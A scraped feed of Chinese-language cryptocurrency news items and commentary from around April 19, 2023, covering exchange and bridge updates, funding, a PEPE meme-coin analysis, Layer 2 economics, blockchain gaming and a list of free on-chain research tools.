2023），列出了全球成立于2000年之后，价值10亿美元以上的非上市公司。本次榜单估值计算的截止日期为2022年12月31日。全球目前有1,361家独角兽企业，分布在48个国家，271个城市。全球独角兽企业总价值4.3万亿美元（约合人民币30万亿元）。区块链行业有53家独角兽企业，比一年前增加23家，由总部马耳他的币安（1,380亿元）领跑，其次是总部旧金山的Ripple（1,050亿元）和总部纽约的OpenSea（900亿元）。这些独角兽企业占全球独角兽总数的3.9%，总价值达到1.4万亿元。 融资消息 “钱包即服务”提供商Universal Ledger完成1000万美元融资，Hard Yaka领投 据Axios报道，钱包即服务（wallet-as-a-service）提供商Universal Ledger宣布完成1000万美元融资，Hard Yaka领投。Universal Ledger旨在帮助用户自己构建加密钱包，其客户主要是大型金融机构和行政机构，该公司已构建了一个分级验证系统，可提供电话号码、电子邮件等低级别验证，以及其他身份识别信息的高级别验证，确保交易安全。 矿业消息 英特尔将停止生产比特币挖矿芯片 据CoinDesk报道，芯片制造巨头英特尔周二在声明中表示，将停止生产其比特币挖矿芯片系列。根据英特尔网站上的一份文件，10月20日之后将不再接受新订单，最后一批产品将在2024年4月20日之前发货。当被问及英特尔是否会推出新项目时，公司发言人表示将继续“关注市场机会”。去年2月，英特尔宣布进军比特币挖矿领域，将发布一款比特币挖矿ASIC芯片，首批客户包括Argo Blockchain、Block、Griid Infrastructure和Hive Blockchain。 重要数据 数据：链上标记为“Coinbase 6”的地址今日午间收到近30万枚ETH Etherscan数据显示，北京时间11:39，0xca58开头的地址和0x7AE9开头的地址均分别将149,999枚ETH转至链上标记为“Coinbase 6”的地址，共计价值约合6亿美元。两笔交易或系Coinbase钱包整理，官方暂无说明。  ( 3 min )
    TON基金会推出TON与以太坊的双向跨链桥
    PANews 4月19日消息，Telegram 区块链项目 TON 基金会宣布推出 TON 与以太坊的双向跨链桥，支持以太坊上 ERC-20 代币与 TON 上封装资产的兑换，目前支持 WBTC、USDT、USDC 和 DAI。计划在不久的将来提供更多可用于桥接的代币。TON上双向桥的引入增加了 Ozys 的 Orbit Bridge，这是一个由韩国领先的区块链公司之一 Ozys 开发的跨链平台。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.19）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    香港法院在Gatecoin案中将加密货币视为财产
    PANews 4月19日消息，据CoinDesk报道，Hogan Lovells 律师事务所表示，香港法院在 Gatecoin 的案件中将加密货币视为“能够以信托方式持有”的财产。主持此案的法官表示，香港与其他普通法司法管辖区一样，对“财产”的定义很宽泛。 2019 年，总部位于香港的加密货币交易所 Gatecoin 宣布将关闭并开始清算，此前该公司试图从一家前支付服务提供商那里收回有争议的资金。报告称，该交易所在 2022 年 10 月持有超过 1.4 亿港元的加密货币。  ( 1 min )
    4天6000倍，MEME币PEPE是不是新庞氏？
    随着近日比特币行情站上30000美元关口，山寨MEME币又开始兴风作浪了，比如PEPE、AIDOGE、XEN等。 当然也吸引了很多smartmoney或者内幕者的投机，而且字面收益非常高。比如，以0x4a开头的SmartMoney4月15日花费0.125枚ETH（约251美元）购买了5.9万亿枚PEPE，截至发稿，字面市值达到约170万美元。也就是说4天的字面收益超过6000倍。 也因其高热度，PEPE排在Uniswap上Top代币前五位置。 总之，无论从哪方面看，PEPE都非常像之前的那些庞氏山寨MEME币。当然，值得注意的是，MEME币爆火的时候，就是大盘岌岌可危时刻。 链上分析师Eljulien利用Nansen和DuneAnalytics的Token God模式分析了具体数据，包括以下5个方面：PEPE效用和代币经济学、社交热度 、代币数据、Smart Money行为模式、结论及警告。 代币经济学： 效用：零 Uni_V2池：7.71万亿 Uni_V3池：4.1万亿 当前团队钱包：27.83万亿 最近几天，人们对meme币的普遍情绪越来越高涨。 3、代币数据 持有者不断增加，目前已超2万。这对于一个上线4天的项目来说是相当多的。 乍一看，似乎还没有鲸鱼钱包（以0x92开头的地址pepecexwallet.eth是团队钱包），但事实并非如此。 4、Smart Money行为模式 由于SmartMoney的数量不同，展示结果将与平时情况有所出入。 使用： 当你查看首批买入PEPE的钱包时，会发现有些奇怪。许多钱包在20秒内以极低的价格同时买入，超70T。 首批买家里实际上有很多都是同一人，他们只是把自己的购买分成了若干投资组合。其中许多人从ByBit获得少量ETH（约150美元），并购买了数万亿的PEPE，现在价值数百万美元。 只有少数SM（SmartMoney）出售了全部的PEPE。即使他们的投资组合赚了1万倍，大多数人也不没有抛售。 这里仅列出17个SM地址，但我查看的投资组合要更多。那些前24小时买入的最大持有者仍持有PEPE。 PEPE鲸鱼钱包可能还不会止盈（take-profit），因为： 绿色标签钱包有： 0x25cd302e37a69d70a6ef645daea5a7de38c66e2a 0x3191203c8a89d71a8f5a35140e2c7f2477396c92 0x4a2c786651229175407d3a2d405d1998bcf40614 红色标签钱包有： 0x41aa8c1f1725b21f952f1bce92bd231ba8cf9bc0 0x2bfdaa9dd264d007211216fc4a6c2e8bee572c8c 所以，如果你认为PEPE值得购买的话，请务必牢记，要使用如Arkham这样的工具来监控这些钱包。 PEPE完全是一个庞氏骗局。我并不是说它现在就会面临抛售，因为鲸鱼钱包仍在持有，但现在这似乎成了一个危险的游戏。 如果全球市场上涨，PEPE肯定会上涨得更快。否则，很多人很快就会被淘汰出局。 PEPE重新点燃了MEME币的狂热，众多山寨币将紧随其后。  ( 2 min )
    币安将于4月21日14:45暂停BEP2网络的充提以支持BNB Beacon Chain网络升级
    PANews 4月19日消息，币安预计将于北京时间2023年04月21日14:45暂停BNB Beacon Chain（BEP2）网络的充值、提现业务，以支持BNB Beacon Chain（BEP2）将于BNB Beacon Chain网络区块高度310,182,000 （预计东八区时间2023年04月21日15:00）进行的网络升级及硬分叉。 本周早些时候报道，BNB信标链拟于4月21日进行Barral硬分叉升级，为跨链引入几个安全增强功能。  ( 1 min )
    Layer2一路高歌猛进，将如何影响以太坊Layer1价值捕捉？
    原文：《Are L2s Complementary to ETH?》by Michael Nadeau 编译：0x11，Foresight News 这个加密冬天，以太坊扩展解决方案的增长是少数被市场持续关注的故事。交易费用下降，应用程序迁移到 L2，TVL 正在增长；与此同时，用户体验也越来越好。 L2 来到了高光时刻，但它如何影响 L1 上的 ETH？ETH 持有者和验证者是否应该将 L2 视为以太坊的补充？价值会在技术堆栈中积累吗？这对于其他 L1 公链意味着什么？ 本周我们有一个基于数据的更新，涵盖了与 L2 相关的 Web3 技术堆栈的经济学：   L2 商业模式和近期增长 L2 试图解决以太坊 L1 的扩展性问题。它们通过压缩数据和「转售」以太坊的区块空间来获利。L1 速度慢且价格昂贵，区块空间有限。因此，我们应该将以太坊视为技术堆栈的最终清算和结算层。基础层记录其上方的执行层和应用层上发生的所有事情的最终状态——作为唯一的事实来源。 为应用程序增强用户体验（更低的成本、更快的交易）的执行服务将交给第 2 层。这些服务在以太坊之外的另一条链上执行，然后将数据记录到 L1 中下面是技术堆栈的简化视图。 当前大部分计算资源（Gas）都消耗在以太坊 L1 ，这是应用程序最初构建的地方。请记住，Web3 堆栈没有中心化的一方协调开发活动（互联网也没有），一切都是开源的。构建者们争先恐后地进入，但并不是每个人都在相同的时间表上或按照相同的议程工作。这不是你在经营良好的科技公司看到的协调良好的敏捷冲刺。在扩展解决方案推出之前，L1 基础设施和应用程序都处在建设中。随着 L2 爆发，我们预计会看到更多应用程序迁移，并且未来新项目可能会在 L2 上直接启。 数据揭露了这种趋势，下面快速浏览一下以太坊上的总计算资源（Gas）使用情况，以及顶级 L2 现在消耗资源的情况。 数据来源：Arcana Analytics Arbitrum 和 Optimism 现在占用的区块空间比 Polygon 多。总体而言，这三个 L2 占当前以太坊区块空间的 4.5% 左右，高于 2022 年底的约 3%。 接下来看一下 L2 中的其他数据： 注意：2023 年初至今，以太坊 L1 的平均单笔交易费用为 4.84 美元。 如前所述，L2 通过为用户提供更好、更便宜的体验来为应用程序提供服务。它们在以太坊 L1 上购买块空间，然后压缩数据、打包交易，最终将数据证明记录到以太坊上。 但是所有 L2 都是平等的吗？它们都是以太坊的补充吗？ 在 L2 之前，当以太坊变得拥堵时，交易费用会飙升。在 2021 年的某一时刻，一笔交易的费用甚至高达 200 美元。在采用周期中使用以太坊有点像在航班晚点后试图叫优步，需求太多，但供应却不足。 L2 正是为了解决这个问题。但是，当用户今天在 Arbitrum 上支付 21 美分手续费时究竟发生什么？Arbitrum 收获了多少费用？验证者又有多少收益？ 当你在咖啡店购买三明治时，面包师傅获得了多少价值？应该给肉类生产商多少钱？给经销商多少钱？浇头和调味品多少钱？三明治有什么特别之处？什么带来了最大价值？其他一切都是补充吗？ 这是我们在 L2 和以太坊技术堆栈的经济学方面应该思考的问题。 答案是，到 2023 年为止，用户在 Arbitrum 支付的费用中约有 62% 支付给了以太坊验证者。自 2021 年成立以来，所有费用中的 64% 已支付给以太坊验证者。 与此同时，通过 Optimism 产生的 80% 的费用如今都归以太坊验证者所有。自 2021 年成立以来，所有费用的 74% 支付给了以太坊 L1。下面是 Token Terminal 提供的数据： 这是一个双赢局面。应用程序用户获得卓越的执行力和更低的费用，进一步会推动更多的用例、更多的开发人员和最终更多的用户。以太坊验证者将以交易费用的形式从中受益，被动持有者将因交易量增加促进了对以太坊的需求获益。同时，Optimism 和 Arbitrum 受益于以太坊的网络效应，基本上可以将他们的共识和安全成本外包给基础层。 Polygon 是以太坊的一条侧链，这使得它不同于 Optimism 和 Arbitrum。作为侧链，Polygon 有自己的验证人集。因此它有自己的共识和安全性，不像 Optimism 和 Arbitrum 那样与以太坊「一致」。 到 2023 年为止，Polygon 已向其供应方 / 验证者支付了 44% 的用户费用，剩余的费用已被销毁。由于 Polygon 的费用是用 MATIC 代币支付的，因此以太坊验证者或 ETH 持有者都不会获得这些价值。也就是说，Polygon 定期将自身的状态提交给以太坊主网，其中包含自上一个检查点以来侧链上所有交易的摘要。然后检查点作为 Merkle Root 存储在以太坊上，Merkle Root 是一个唯一的哈希值，代表当时侧链的状态。所以 Polygon 虽然与以太坊集成，但相比于 Arbitrum 和 Optimism，它对 L1 的经济影响是最小的，因为检查点需要最少的数据。我们可以通过查看以太坊销毁的主要来源来了解这一点。Arbitrum 和 Optimism 在排行榜上名列前茅，而 Polygon 尽管处理的交易量很大，却排在倒数第三。 总之，并非所有 L2 生而平等。Polygon 等侧链的运作方式更像是它们自己的 L1，同时利用以太坊进行最终安全和结算保证。Optimism 和 Arbitrum 等 Rollup 真正依赖以太坊来实现共识、安全性和数据可用性。 当我们分析对以太坊验证者和 ETH 持有者的经济影响时，我们认为 Optimism 和 Arbitrum 等 Rollup 是对以太坊的补充。他们可以通过为应用程序开发人员提供卓越的用户体验来创造对区块空间的净新需求。与此同时，他们的解决方案处理的大部分价值最终以交易费用的形式归于以太坊验证者，并以费用销毁的形式归于被动的 ETH 持有者。 Polygon 看起来与我们几乎没有互补性。事实上，看起来 Polygon 持有者和验证者从它与以太坊的紧密联系中受益更多。 市场上的每种产品都有替代品和互补品。替代品是当第一种产品太贵时，你可能会购买的另一种产品。例如，鸡肉是牛肉的替代品。互补品是你通常与其他产品一起购买的产品，想想汽油和汽车，或者面包和热狗。在其他条件相同的情况下，当一种产品的互补品价格下降时，对该产品的需求就会增加。 现在，如果 L2 是互补的，并且它们不断降低成本以实现卓越的用户体验，这对 ETH 意味着什么？ 我们认为 ETH 将继续获取 L2 产生的大部分价值。 一个类比可能有助于突出我们的想法：让我们比较一下以太坊、谷歌和互联网。我们认为拥有以太坊可能就像拥有互联网的一部分，或者运行互联网的重要协议。现在，谷歌位于互联网协议之上。谷歌很棒，它解决了互联网上的搜索问题。如此，谷歌增强了互联网的实用性，带来了更多的用户。现在，让我们假设每次有人使用谷歌搜索时，6 美分给谷歌，14 美分给互联网协议。你会选择哪个作为投资者？如果谷歌只是互联网（以太坊）上运行的数千个应用程序之一呢？ 同样，Arbitrum 和 Optimism 正在解决重要的问题。我们认为他们将推动更多用户使用以太坊。但我们不能忽视这样一个事实，即今天约有 70% 的价值归属于 ETH 验证者和持有者。市场似乎正在重视 L2 提供的执行服务的安全性、去中心化和结算保证。 这是否意味着投资者应该避免 L2？这里肯定有一些细微差别。我们认为以太坊在下一次牛市中可能达到万亿美元的市值。如果 L2 继续收取 30% 的用户交易费用，并且所有交易（或绝大多数）在未来都通过 L2 进行，那么有人可能会争辩说，他们可以获得以太坊估值的 30%，这将是 3000 亿美元的预期市值。 按照这种思路，L2 仍然有很大的上行空间。请记住，今天以太坊上使用的 Gas 中只有大约 4.5% 通过 L2 运行。话虽如此，前三名 L2 加起来产生了以太坊 6% 的交易费用，但完全流通市值却达到了以太坊的 14% 。 我们目前的想法是，少数 L2 可能会捕获技术堆栈第二层的大部分价值。这是我们迄今为止观察到的，并且与我们在整个 Web3 技术堆栈中观察到的幂律动态一致。我们还将在本季度晚些时候关注 Coinbase 发布的 L2，Base。 另一种思考方式是将拥有 ETH 与拥有指数基金进行比较。正如标准普尔 500 指数中新公司轮换一样，L2s & Apps 将轮换进出以太坊生态系统。以太坊验证者和 ETH 持有者将从中受益。正如 SPY 的持有者受益于被添加到指数基金中的强大的新业务。 我们认为投资 L2 和 App 更像是挑选股票而不是挑选 ETF 或指数。当然，在这种情况下，（ETH）指数仍然代表着对 Web3 未来的看涨期权。 如果 L2 正在解决以太坊的扩展问题，那么 Solana、Avalanche 和 Cosmos 等替代方案的价值主张是什么？ 首先，让我们快速浏览一些数字来对比 Solana 的性能。 Solana 的效率仍然比 Polygon 高 10 倍以上，Polygon 是当今以太坊上可扩展性最强的 L2（侧链）。Solana 在开发人员方面也占据主导地位，并拥有强大的用户基础，到 2023 年每天超过 38 万。话虽如此，TVL 揭示了 L2 从与以太坊「结盟」中获得的好处。L2 不必像 Solana 那样引导自己的 TVL。我想这就是为什么 SOL 验证者可以保留 50% 的交易费用（其中 50% 被销毁），而 Arbitrum 和 Optimism 总共只保留大约 30%。 但是，Solana 采用的整体式扩展方法与以太坊上通过 L2 的模块化方法相比如何呢？ Solana 将结算和 执行服务捆绑到同一个解决方案中，与以太坊以及 Cosmos 和 Avalanche 等替代性 L1 相比，这是独一无二的。 以太坊、Cosmos 和 Avalanche 采用的模块化方法产生了许多与互操作性、安全性、中心化、数据可用性等相关的额外复杂性，而 Solana 不必处理这些问题。 我们认为 Solana 因其独特的整体架构而明显不同于以太坊和其他竞争对手。事实上，以太坊通过 L2 进行扩展的方法开始看起来与 Avalanche 和 Cosmos 的方法非常相似。因此，如果开发人员可以部署在以太坊 Rollup 上并即时访问以太坊的流动性和网络效应，他们为什么会选择 Avalanche 子网或 Cosmos 应用程序链呢？ 综上所述，我们将 Solana 视为以太坊的替代品，而不是对以太坊的补充。我们认为，这使 Solana 成为最有趣的替代方案。Web3 技术堆栈中的 L1 机会——这也是我们在今年早些时候的市场错位期间在网络中建立头寸的原因。我们在一月初报道了这个项目。我们还建议使用该网络、钱包、应用程序、质押服务等。我们认为 Solana 目前提供最好的加密用户体验。 总而言之，随着 L2 获得牵引力，我们认为那些与以太坊区别不大的替代方案的价值主张将受到质疑。 结论 以太坊 L2 正在增长并变得更加高效。现在还很早，但有迹象表明，Rollup 与 ETH 非常互补，因为验证者和持有者通过它们获得了 70% 的费用。对于运行自己的验证器的 Polygon 等侧链，情况并非如此。 Optimisim 和 Arbitrum 的 L2 保证金需要被监控。随着越来越多的竞争对手进入该领域，我们预计利润率将大幅下降，但我们将继续关注数据。零竞争最终可能使技术堆栈的执行层商品化。 由于 L2 是对以太坊的补充，我们相信随着 L2 成本的下降，对基于以太坊的应用程序的需求将会增加，从而为验证者和 ETH 持有者带来更多价值。请注意，流经 L2 的交易量最终需要以比费用下降更快的速度增长。 随着 Arbitrum 和 Optimism 等解决方案的成熟，以太坊生态系统的扩展方法似乎正在与 Cosmos、Polkadot 和 Avalanche 的方法融合。例如，Optimism 的「超级链」看起来类似于 Cosmos Hub 或 Avalanche 的 C-Chain。 在配置以太坊生态系统（ETH、L2、预言机、跨链桥、应用 / 协议）资产组合时，投资者有一系列选择。话虽如此，由于 L2 Rollup 的互补性，ETH 似乎具备更有吸引力的回报。此外，投资者应考虑到像 Polygon 这样的侧链与以太坊的「一致性」较低，并且在利用以太坊的网络效应和 EVM 标准的同时更多地充当替代性 L1。我们认为，与 Rollup 相比，Polygon 具有更强的增值潜力。在某些方面，Polygon 更应该与 Solana 进行比较，而不是与 Optimism 和 Arbitrum 进行比较。 我们认为，以太坊 L2 的增长和可扩展性将动摇采用类似可扩展性方法的 L1 竞争链的价值主张——例如 Cosmos、Avalanche 和 Polkadot。但 Solana 明显不同，因为它采用单一的扩展方法（捆绑了结算和执行）。  ( 6 min )
    传统游戏巨头进军Web3，链游的“风暴之年”已来
    近期，阿里云作为国内领先的云计算服务提供商宣布将在日本启动区块链实验室，与游戏和 VR 内容开发公司 Skeleton Crew Studio 合作着手区块链软件研发。据悉，本次区块链实验室的部署将进一步拓宽日本游戏开发商的 Web3 商业机会；此外，阿里云还将举办「HAPaton 2023」Web3 全球黑客松和区块链游戏（简称“链游”）黑客松活动，集聚更多对链游感兴趣的伙伴。 阿里云的行动并非意料之外，而是近年来游戏市场持续发展和区块链游戏行业蓬勃兴起的必然之举。据 Newzoo 发布的《2022 全球电竞与游戏直播市场报告》显示，2022 年全球游戏市场预计总收入为 1968 亿美元，同比上升 2.1%，全球玩家人数预计将增长至 32 亿。Bybit 自 2021 年 1 月至 2022 年 6 月的统计数据显示，以个人活跃钱包数计算，链游有关的应用占据了整个区块链产业的 52%，风投机构和个人投资者在链游项目的投资额累计已逾 100 亿美元，投资机构包括 A16Z、Paradigm 等加密资产业内的知名投资人。 快速增长的数据背后，区块链游戏历经了怎样的发展历程？有哪些基础性设施、平台支撑着链游实现升级再造？面向 Web3，知名互联网科技巨头又向我们交出了怎样的链游新答卷？今天就让我们走近区块链游戏，共同展望下一代游戏新范式。 链上世界进入游戏市场，让越来越多游戏厂商不由得感叹区块链游戏的风暴之年正在加速到来。游戏活动逐渐转变了单一的休闲娱乐理念，走向 Web3 发展个性化、可定义的未来。事实上，从“以太猫”出现开始，区块链游戏发展经历了三个阶段，实现继承与拓新。 以太猫的出现标志着区块链游戏 1.0 开启。“以太猫” （CryptoKitties）是基于以太坊区块链开发的数字化、有收藏价值的猫咪，用户可以使用以太坊上的加密资产买卖猫咪，繁育出各种娇小可爱、个性突出的猫咪品种。以太坊上共有 50000 个“0 代”猫咪被存储在智能合约里，每隔 15 分钟，该智能合约会自动分发一只原始猫咪进行出售。这类 “收藏——培育——交易”为基本设计原理的游戏成为 1.0 阶段的概念模型。以太猫走红后，类似的“仿制品”层出不穷，收藏类游戏也成为区块链游戏发展的重要方向。不过总体较差的可玩性导致了 1.0 阶段的不少游戏项目生命周期非常短暂，用户沉淀效果不佳，未能出现更多如“以太猫”一般出圈的产品。 囿于 1.0 阶段区块链游戏的局限性，2.0 阶段的链游项目开始解决游戏规则信息缺乏、去中心化程度不足、游戏类型单一等一系列问题。众多中小型游戏厂商跑步入场，游戏项目制作的画面逐渐精良、游戏种类更加多样化、游戏体验感也渐趋优化。在项目运营上，区块链游戏开启了预售先行、快速开发的范式，部分游戏厂商实现快速盈利。投融资机会也在行业内盛行，游戏虚拟资产交易等概念出现，链游与金融结合的新游戏模式 “GameFi” 成为重要风向。 区块链游戏 3.0 “资产交易属性更强”、“公链性能支持百万日活”、“数据全面上链”、“游戏玩法多样化”等成果是区块链游戏 3.0 时代的重要标志。这一阶段，GameFi 主打 Play-to-Earn 的商业模式，让用户边玩边赚钱，共同瓜分游戏项目的经济收益，发展“区块链游戏新经济”概念。在 Play-to-Earn（P2E）以及 Play-to-Own（P2O）模式的指引下，链游 3.0 阶段赋予了玩家更加个性化的游戏体验，通过完成游戏任务联动 NFT 市场进行交易，促进游戏内资产转换为 IP 所有权，实现对用户的长期吸引。像 Skyweaver、RobotEra、Tamadoge、Undead Blocks 皆为这一时期的代表项目，涵盖集换式卡牌、宠物收藏、生存射击等数百种类型的游戏（《盘点值得关注的 Web3 游戏，加密游戏的发展范式如何转变？》）。 上文介绍到区块链游戏发展的三个阶段，事实上链游不断朝着高级版迈进的动力不仅来源于用户的需求，更来自于区块链技术平台的完善。正是这些平台设施的演进为区块链游戏升级注入新鲜的血液。 相较传统游戏平台来说，玩家进⾏游戏交易会遇到一些问题，⽐如当玩家不再玩某个游戏时，购买的道具将会变得⼀⽂不值。外部游戏交易平台又或许存在技术漏洞、缺乏信任、不够公平公正等难题。而在区块链游戏平台，数字交易是值得高度信任的，如 DMarket 中，玩家交易以智能合约为基础实现一键出售、交易、评估，充分保障游戏交易的安全性。同时，区块链技术也能对玩家的加密资产进行高效存储，支撑用户跨游戏交易、激发玩家热情，如 Crytek 创造了加密资产 Crycash 用于他们自己的游戏《Warface》。 Play-to-Earn 成为区块链游戏 3.0 时代的重要模式，其背后有着诸多游戏营销平台进行项目收益的分发与调配。以 BitCoins.Games 为例，通过与游戏开发者订立智能合约，所得收益会根据约定比例自动被汇入开发者的账户中。近 6000 万海外用户和 1 亿多的海外应用合作伙伴加入 BitCoins.Games ，参与链游营销获得金钱收益。而 Refereum 则以“去中心化”为方向，引入游戏主播推荐、玩家游戏成就等评价指标，让用户能够随时获得游戏中挣来的加密资产，增强平台黏性和玩家忠诚度。 云存储、云交易等概念进入 Web3 时代时，区块链游戏也乘着“云端游戏”的热潮开启云服务版图。2013 年 Playkey.net 启动，成为最早期的区块链云游戏平台提供流媒体服务。到了 2017 年，玩家可以通过智能合约使用更为强劲的互联网计算机服务。目前，Google 等科技巨头也加入云游戏服务端口的打造工程，为用户实现云端游戏和信息共享提供新渠道，让游戏资产交易更加灵活。 作为国内 top 的互联网大厂，阿里巴巴也未在区块链游戏行业掉队。早在 2016 年，阿里就推出了区块链游戏产品，其中包括大家熟知的《蚂蚁森林》。《蚂蚁森林》是一款环保游戏，当玩家进行步行、买卖二手、电子支付等环保活动后，就会获得绿色能量。绿色能量可用于浇灌虚拟树木，待绿色能量足够后树苗便可长成大树，支付宝就会以玩家捐赠的名义，在西部地区种植下一棵真实树苗。2017 年，支付宝又推出了《蚂蚁庄园》，从捐树苗变成了攒鸡蛋，鸡蛋累计达到一定数量就可进行一项公益活动。纵然两款公益性项目并未完全赋予用户更多的传统游戏体验感，但是结合游戏+公益的形式为阿里进军区块链游戏提供了实践经验。 紧跟区块链发展的步伐，网易旗下游戏新媒体网易爱玩推出了“区块链游戏频道”，并研发设计了包括“网易招财猫”、网易“星球”等区块链游戏产品。网易“星球”是基于区块链的生态价值共享平台，用户可享有个性化的链上身份，将自身所有信息数据进行加密存储、全面管理，实现个人信息数据价值商业化。用户注册后可领取数字资产“黑钻”，总量有限且每两年产出量减少一半，随着时间推移获取难度也将越来越大。近几年，网易还在旗下热门游戏 IP 《逆水寒》《倩女幽魂》中植入区块链技术，通过一款名为“伏羲通宝”的数字资产试图建立起行业统一的游戏虚拟资产管理标准，改变未来链游的分工协作模式，盘活游戏用户的资产存储。 迅雷链（ThunderChain）是迅雷旗下网心科技打造的超级区块链平台，以多链架构支持处理每秒百万次的用户行为，开发如玩客猴、链克狐、链克熊、玩客龙、战神风云、功夫链克、链克熊猫等数十款游戏。值得一提的是，迅雷开发的区块链游戏平台支持 Solidity 语言开发的智能合约，兼容以太坊虚拟机 EVM，能够实现多个区块链平台通用的游戏信息共享，真正为跨链游戏助力。 区块链游戏的发展并未止步，正如我们看到区块链游戏从 1.0 到 3.0 时代的升级，丰富用户体验的同时也开发了联动金融交易的渠道。与此同时，互联网大厂踊跃尝试区块链游戏的产品研发也给游戏用户带来了新的希望。面向 Web3 的游戏，必然是高度去中心化、用户主权、集合娱乐/交易/社交为一体的复合型产品。 不过我们仍需警惕的是，随着更多公链、互联网公司布局区块链游戏赛道，同质化游戏项目也屡见不鲜，光是宠物收藏类游戏就有数十款。这提醒所有开发者在进行游戏市场分析和研发设计中，依旧需要发挥创新意识，让游戏具备更大的可玩性，从而在“群雄逐鹿”的游戏行业中闯出一片天。 站在更为宏观的格局上，开发者还能利用区块链技术建设游戏生态圈，将加密资产作为交易媒介来构建闭环产业链，涵盖项目研发、运营、发行等多维度层次，真正创建属于 Web3 的游戏乐园。  ( 3 min )
    数据：链上标记为“Coinbase 6”的地址今日午间收到近30万枚ETH
    PANews 4月19日消息，Etherscan数据显示，北京时间11:39，0xca58开头的地址和0x7AE9开头的地址均分别将149,999枚ETH转至链上标记为“Coinbase 6”的地址，共计价值约合6亿美元。两笔交易或系Coinbase钱包整理，官方暂无说明。  ( 1 min )
    彭博社：Tribe Capital拟为潜在的FTX重启计划筹资2.5亿美元，已获1亿美元支持
    PANews 4月19日消息，据彭博社报道，知情人士透露，风险投资公司Tribe Capital联合创始人Arjun Seti 1月会见了FTX的无担保债权人委员会，讨论了一项重启该交易所的提议，作为该计划的一部分，Tribe正在考虑筹集2.5亿美元，而该公司已经从母公司及其投资者那里获得了1亿美元的支持。据悉，Tribe Capital成立于2018年，是FTX的投资者之一。 此前今日早些时候消息，FTX重新设法争取Tribe Capital提出收购报价，Tribe已经围绕非正式收购计划会见了FTX的无担保债权人委员会；FTX无担保债权人官方委员会推特发文称，目前还没有重启或出售交易所的明确时间表。  ( 1 min )
    如何寻找加密 Alpha 机会？可以使用这 15 个免费工具
    想找到自己的Alpha 机会？使用以下 15 种免费工具是发现潜在机会的途径之一。 1. Arkham 作为 Nansen 的免费替代品，Arkham 是一个令人印象深刻的数据平台，它允许你创建自己的仪表板、发现钱包之间的联系，你可以监控任何钱包（空投猎人、Kol、名人）的代币流入和流出。 2. DefiLlama 在 DefiLlama 中，你可以轻松找到新项目和热门项目的信息。 加密项目通常会在白皮书中详细介绍其代币经济学，但用户很少会找到或使用这些关键信息。DefiLlama 为你做了简化，例如，我们可以查询到 $APT 代币的分配细节、近期解锁事件等。 3. DeBank DeBank 是一个领先的 Web3 投资组合追踪器，它允许你追踪他人的钱包。 如果你想知道为什么要跟踪其他钱包，原因如下： - 了解 Kol、巨鲸、VC 正在购买哪些代币 - 了解 Kol、巨鲸、VC何时出售 4. TweetDeck 如果你习惯于在 Twitter 上寻找空投、DeFi 收益策略和 alpha 机会，那么 Tweetdeck 可以成为你查看所需信息的工具。Tweetdeck 是一个建立在 Twitter 之上的工具，它允许你同时查看多个页面。 你可以将关注的 Kol、标签添加到一个列表，让你可以在一个页面中随时了解最新动态。 5. ChatGPT 随着 AI 的兴起，不要忽视 ChatGPT 等产品为你简化研究过程的能力。虽然范围仍然有限，但你已经可以使用它节省大量查找信息的时间。 以下是我想要研究新 L2 网络 Mantle 的示例： 将项目的部分白皮书粘贴到 ChatGPT。 输入：“使用以上信息，简要分析 Mantle”。 我想要进一步研究，输入：“详细说明去中心化排序器的工作原理”。 此外，ChatGPT 也可以帮助我们分析项目的代币经济学。 例如，我将$RDNT V1 和 V2 的代币模型、激励机制、粘贴到ChatGPT 中。 输入：“使用以上信息，对 $RDNT V2 代币模型、代币分配和可持续性进行分析。” 如果你还想让ChatGPT深入分析指标的话，你可以向它提供来自 DefiLlama 的数据，例如 TVL、市值、费用。 这是我的输入： $RDNT V2 的 TVL 为 1.67 亿美元，$RDNT 的流通市值为 7400 万美元，$RDNT 的完全流通总市值为 3.75 亿美元，产生的 30 天费用为 121 万美元，30 天收入为 60.5 万美元。根据以上信息，计算指标并分析 $RDNT 是否会是一项好的投资。 6. Github 考虑到大多数开源合约都在 Github 上，我们可以使用它来查找新项目及其早期信息、开发进度，并了解开发人员。 7. Etherscan 虽然其他工具提供了奇特的功能，但区块链浏览器仍然是一个我们不能忽视的工具，其中包含了大量信息，并使你能够跟踪其他人可能看不到的信息。 例如，我们可以在 Etherscan 并 $LDO 的代币地址以找到其配置文件。我们可以点击 DEX Trades，将显示该代币在主要 DEX 上发生的所有交易。 8.Token Terminal 如果你想分析一个项目及其代币是否物有所值，那么 Token Terminal 对于你分析项目的收入、费用、活跃用户等重要因素来说非常有用。 9.Bubblemaps Bubblemaps 是第一个用于代币和 NFT 的供应审计工具，在其中你可以找到任何代币和 NFT 的供应和分布。独特的“彩色气泡”可以让你只需几秒钟即可理解复杂的数据。 10.Token Unlocks 在寻找投资机会时，查看项目的代币解锁时间表可能很有用。Token Unlocks 提供了这样一个简单的工具，可以让你找到大多数项目的解锁时间表。 11.Token Sniffer 虽然许多人都想找到下一个百倍项目，但更重要的是要知道如何发现危险信号以降低被 Rug Pull 的风险。Token Sniffer 可以帮助你识别市面上明显的Rug Pull 骗局。你只需要粘贴项目的合约地址，它会分析该地址并提示是否存在潜在的风险。 12.Dune Analytics Dune 仍然是一个了不起的社区工具，由于其模块化的特性，它可以向我们提供对任何数据的见解。想找到空投专业人士、具体项目信息、某个链统计信息？只需在 Dune 上寻找一个别人做的仪表板。 13.Revert 如果你对提供在 DeFi 中提供流动性感兴趣，那么 Revert 是最好的工具之一，它可以让你深入了解资金池实时的利润和损失、APR、潜在趋势等。 14. xo2 xo2 汇总了 Kol 在 Twitter 上发布的新项目，你可以对其进一步研究。 15.Dex Screener DEX Screener 是一个分析 DEX 的链上工具，也是 Alpha 猎人手中非常强大的工具，可让你查找新代币（大部分未在 CMC 和 CG 上市）、查询流动性、进行市场分析、跟踪大额交易、设置警报等。 >END< 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 4 min )
    Avalanche将于4月25日在主网激活Cortina升级，此前验证者需更新节点
